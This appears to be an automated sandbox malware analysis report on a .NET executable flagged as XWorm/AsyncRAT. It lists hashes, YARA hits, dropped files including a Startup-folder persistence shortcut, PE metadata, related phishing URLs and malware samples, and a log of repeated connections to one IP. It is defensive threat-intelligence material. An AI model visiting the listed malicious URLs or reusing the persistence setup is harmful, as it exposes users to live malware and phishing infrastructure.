	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDQAvqLEDt4vHRnIl9R-2FSaV8cYQKwTSu6TlRyfKfKCNpqi6T3Rprq9LXKYQ9G34plU-2Fc6KaxWBoIH3kNUhm9F7K3dXpbJHxNw6DigdaCYldW7LwfYFYeoLppch4Oo8HLqZw-3D-3DvJ57_9d2PKuWgkMsb-2FuzR9pdXODiURjdHXUZxWOjR1RDmtgNtCgKSlO3B8TrsetABjpNaTpNYz3C-2BN-2Fe8PcWYAaBJJOY-2BBkK-2Br3jdT6tlTC1ulzeg0FOBv-2FDW-2BZMAe3LIHoCY1EV4P3qP-2FgkO4U8L72M16f-2BIc-2B8lqgIDpnawtqZ0MndPFzofEjexg4aHMjygT534Xh1q2WwYI6xVILXuKZVihA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235
	llD1w4ROY5.exe	Get hash	malicious	AgentTesla	Browse	104.20.3.235
	arrival notice.exe	Get hash	malicious	AgentTesla	Browse	104.20.3.235
	invoicepast.pdf.lnk.mal.lnk	Get hash	malicious	ScreenConnect Tool	Browse	104.20.3.235
	Invoice-UPS-218931.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	104.20.3.235
	IF10339.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	104.20.3.235
	https://ddec1-0-en-ctp.trendmicro.com:443/wis/clicktime/v1/query?url=https%3a%2f%2faagt%2damx%2dmoodle%2dmex.com%2freport%2finsights%2faction.php%3faction%3duseful%26forwardurl%3dhttps%253A%252F%252Faagt%2damx%2dmoodle%2dmex.com%252Freport%252Finsights%252Fdone.php%253Factionvisiblename%253D%2525C3%25259Atil%2526target%253D%5fblank%26predictionid%3d1580&umid=dfe32622-5afa-43d1-bc88-1d0d19378d86&auth=b37f34d438b54d6822929a8430f2a42f374caac4-c52e46d07bf23779234fc7b6680559fd6de91ad8	Get hash	malicious	Unknown	Browse	104.20.3.235
	http://wiki.hoeron.com/doku.php?id=hoeron:kb:hardware:fortinet:2023-11-29-1701246124	Get hash	malicious	Unknown	Browse	104.20.3.235

Process:	C:\Users\user\Desktop\s8Z4L8DY65.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	83456
Entropy (8bit):	4.635980839981914
Encrypted:	false
SSDEEP:	768:FroZSm2YZOaYR/BgYEW7KbiCrQoFN9U0DOph+PtYGxQO:FkBYRpAWlCrpFN9UWOpmBxQO
MD5:	347467DC90DA33E12BBAD093380324BD
SHA1:	E2ECE51489EA14535635F56A5CB44B413C47B7D2
SHA-256:	8BE2E5CD5FACB059EBA9F06C139A5B7782A97EA06D21624F5C3A4F1F806DB223
SHA-512:	BB08B0AE54A5173EB68947B9179CB2C302042D12A30F45F23637B71B96E82806F956B8C963CDE107AA28EA4DE31A681D7366034602262C3B27B3CE40B2AC031D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\www.kernal.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\www.kernal.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M._f................................. ........@.. ....................................@.....................................W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc...............D..............@..B.......................H........^..(R............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\www.kernal.exe.log

Download File

Process:	C:\ProgramData\www.kernal.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Download File

Process:	C:\Users\user\Desktop\s8Z4L8DY65.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Jul 2 13:29:12 2024, mtime=Tue Jul 2 13:29:12 2024, atime=Tue Jul 2 13:29:12 2024, length=83456, window=hide
Category:	dropped
Size (bytes):	680
Entropy (8bit):	4.651022057811489
Encrypted:	false
SSDEEP:	12:8FTfGf8cZ3pBygeyVgAplg4rCjAlt8iSeMbZuroYBDSBnmV:8FTf8RvE5AsS43YkVm
MD5:	191BD16717BCBE283103603A3692EABA
SHA1:	2CB008C1EA5B137EA21DC94152896AD4392C7B21
SHA-256:	10E209393840F93F5E6741F8EB83BF5CB94313C694A193617DE524B0B668E010
SHA-512:	8AB4135BFC2A228CDECB4FC46C227B789A2331673B11A139FA67FAE15244AB1B02C9BD27F48D879610C6470804BDC4EBF6DC418E6F4B1BA57CA1E459528170CA
Malicious:	false
Reputation:	low
Preview:	L..................F.... ....A5......A5......A5.....F...........................P.O. .:i.....+00.../C:\...................`.1......X.s. PROGRA~3..H......O.I.X.s....g.....................!"$.P.r.o.g.r.a.m.D.a.t.a.....j.2..F...X.s WWWKER~1.EXE..N.......X.s.X.s..............................w.w.w...k.e.r.n.a.l...e.x.e.......L...............-.......K....................C:\ProgramData\www.kernal.exe..5.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.w.w.w...k.e.r.n.a.l...e.x.e.`.......X.......472847...........hT..CrF.f4... .....Jc...-...-$..hT..CrF.f4... .....Jc...-...-$.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.635980839981914
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	s8Z4L8DY65.exe
File size:	83'456 bytes
MD5:	347467dc90da33e12bbad093380324bd
SHA1:	e2ece51489ea14535635f56a5cb44b413c47b7d2
SHA256:	8be2e5cd5facb059eba9f06c139a5b7782a97ea06d21624f5c3a4f1f806db223
SHA512:	bb08b0ae54a5173eb68947b9179cb2c302042d12a30f45f23637b71b96e82806f956b8c963cde107aa28ea4de31a681d7366034602262c3b27b3ce40b2ac031d
SSDEEP:	768:FroZSm2YZOaYR/BgYEW7KbiCrQoFN9U0DOph+PtYGxQO:FkBYRpAWlCrpFN9UWOpmBxQO
TLSH:	ED83D748779CC337C56D3B70D96352F90A706D03DC1AD75FBA847E8ABA72B8049C0AA5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M._f................................. ........@.. ....................................@................................

File Icon


Icon Hash:	1711d21251131706

Static PE Info

General

Entrypoint:	0x40b10e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x665FB74D [Wed Jun 5 00:54:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb0b4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0xaec0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9114	0x9200	597d355aa25a41670ef5c6504ae35a01	False	0.4867829623287671	data	5.743098787882135	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0xaec0	0xb000	52cab7205f8ce522faa476b66ff4ae91	False	0.09159712357954546	data	2.6124046785212363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18000	0xc	0x200	f6802faec724caec52208d5f57381d6f	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc250	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.23049645390070922
RT_ICON	0xc6b8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1600	0.1930232558139535
RT_ICON	0xcd70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.14426229508196722
RT_ICON	0xd6f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.11655722326454034
RT_ICON	0xe7a0	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6400	0.08905325443786982
RT_ICON	0x10208	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.08049792531120332
RT_ICON	0x127b0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.06004959848842702
RT_GROUP_ICON	0x169d8	0x68	data	0.75
RT_VERSION	0x16a40	0x294	OpenPGP Secret Key	0.44545454545454544
RT_MANIFEST	0x16cd4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 16:29:15.708832026 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:15.708878994 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:15.708990097 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:15.912317991 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:15.912353992 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:16.393479109 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:16.400532961 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:16.403213978 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:16.410650969 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:16.410667896 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:16.411055088 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:16.460963011 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:16.544804096 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:16.588521004 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:17.049105883 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:17.049202919 CEST	443	49712	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:17.049310923 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:17.075715065 CEST	49712	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:20.089567900 CEST	49713	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:20.089622021 CEST	443	49713	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:20.089711905 CEST	49713	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:20.090130091 CEST	49713	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:20.090145111 CEST	443	49713	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:20.571255922 CEST	443	49713	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:20.574738026 CEST	49713	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:20.574776888 CEST	443	49713	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:20.733113050 CEST	443	49713	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:20.733227015 CEST	443	49713	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:20.733309984 CEST	49713	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:20.733884096 CEST	49713	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:23.743911028 CEST	49714	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:23.743957043 CEST	443	49714	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:23.744052887 CEST	49714	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:23.744402885 CEST	49714	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:23.744414091 CEST	443	49714	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:24.231164932 CEST	443	49714	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:24.239757061 CEST	49714	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:24.239801884 CEST	443	49714	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:24.383251905 CEST	443	49714	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:24.383354902 CEST	443	49714	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:24.383514881 CEST	49714	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:24.384164095 CEST	49714	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:27.411750078 CEST	49719	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:27.411806107 CEST	443	49719	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:27.411891937 CEST	49719	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:27.412197113 CEST	49719	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:27.412211895 CEST	443	49719	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:27.914382935 CEST	443	49719	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:27.915760040 CEST	49719	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:27.915800095 CEST	443	49719	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:28.044502974 CEST	443	49719	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:28.044646978 CEST	443	49719	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:28.044900894 CEST	49719	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:28.045216084 CEST	49719	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:31.057188988 CEST	54763	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:31.057235956 CEST	443	54763	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:31.057470083 CEST	54763	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:31.057760000 CEST	54763	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:31.057771921 CEST	443	54763	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:31.624203920 CEST	443	54763	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:31.633337021 CEST	54763	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:31.633372068 CEST	443	54763	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:31.743060112 CEST	443	54763	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:31.743149996 CEST	443	54763	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:31.743257999 CEST	54763	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:31.744604111 CEST	54763	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:34.759496927 CEST	54764	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:34.759551048 CEST	443	54764	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:34.759643078 CEST	54764	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:34.760021925 CEST	54764	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:34.760039091 CEST	443	54764	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:35.256035089 CEST	443	54764	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:35.258304119 CEST	54764	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:35.258339882 CEST	443	54764	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:35.431180954 CEST	443	54764	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:35.431286097 CEST	443	54764	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:35.431375980 CEST	54764	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:35.431924105 CEST	54764	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:38.454927921 CEST	54765	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:38.454984903 CEST	443	54765	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:38.455051899 CEST	54765	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:38.455388069 CEST	54765	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:38.455404997 CEST	443	54765	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:38.924391985 CEST	443	54765	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:38.925883055 CEST	54765	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:38.925914049 CEST	443	54765	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:39.076786041 CEST	443	54765	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:39.076900959 CEST	443	54765	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:39.076955080 CEST	54765	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:39.077496052 CEST	54765	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:42.087497950 CEST	54766	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:42.087553978 CEST	443	54766	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:42.087667942 CEST	54766	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:42.087918997 CEST	54766	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:42.087930918 CEST	443	54766	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:42.578227997 CEST	443	54766	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:42.579627037 CEST	54766	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:42.579654932 CEST	443	54766	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:42.715614080 CEST	443	54766	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:42.715724945 CEST	443	54766	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:42.715986013 CEST	54766	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:42.716564894 CEST	54766	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:45.729681015 CEST	54768	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:45.729737043 CEST	443	54768	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:45.729830980 CEST	54768	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:45.730124950 CEST	54768	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:45.730143070 CEST	443	54768	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:46.202754021 CEST	443	54768	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:46.204269886 CEST	54768	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:46.204302073 CEST	443	54768	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:46.351861000 CEST	443	54768	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:46.351975918 CEST	443	54768	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:46.352035999 CEST	54768	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:46.352754116 CEST	54768	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:49.368627071 CEST	54769	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:49.368685961 CEST	443	54769	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:49.368767977 CEST	54769	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:49.369007111 CEST	54769	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:49.369024038 CEST	443	54769	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:49.836779118 CEST	443	54769	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:49.838007927 CEST	54769	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:49.838037014 CEST	443	54769	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:49.989974022 CEST	443	54769	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:49.990233898 CEST	443	54769	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:49.990341902 CEST	54769	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:49.990784883 CEST	54769	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:52.993381023 CEST	54770	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:52.993431091 CEST	443	54770	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:52.993519068 CEST	54770	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:52.993777990 CEST	54770	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:52.993789911 CEST	443	54770	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:53.473711014 CEST	443	54770	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:53.475208998 CEST	54770	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:53.475231886 CEST	443	54770	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:53.604052067 CEST	443	54770	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:53.604165077 CEST	443	54770	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:53.604269028 CEST	54770	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:53.604964018 CEST	54770	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:56.619729042 CEST	54771	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:56.619798899 CEST	443	54771	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:56.619945049 CEST	54771	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:56.620254040 CEST	54771	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:56.620268106 CEST	443	54771	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:57.118571043 CEST	443	54771	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:57.119944096 CEST	54771	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:57.119985104 CEST	443	54771	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:57.262794018 CEST	443	54771	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:57.262904882 CEST	443	54771	104.20.3.235	192.168.2.6
Jul 2, 2024 16:29:57.263077021 CEST	54771	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:29:57.270299911 CEST	54771	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:00.274694920 CEST	54772	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:00.274749041 CEST	443	54772	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:00.274863958 CEST	54772	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:00.275120020 CEST	54772	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:00.275131941 CEST	443	54772	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:00.771119118 CEST	443	54772	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:00.772445917 CEST	54772	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:00.772475958 CEST	443	54772	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:00.920753002 CEST	443	54772	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:00.920864105 CEST	443	54772	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:00.920938015 CEST	54772	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:00.921469927 CEST	54772	443	192.168.2.6	104.20.3.235
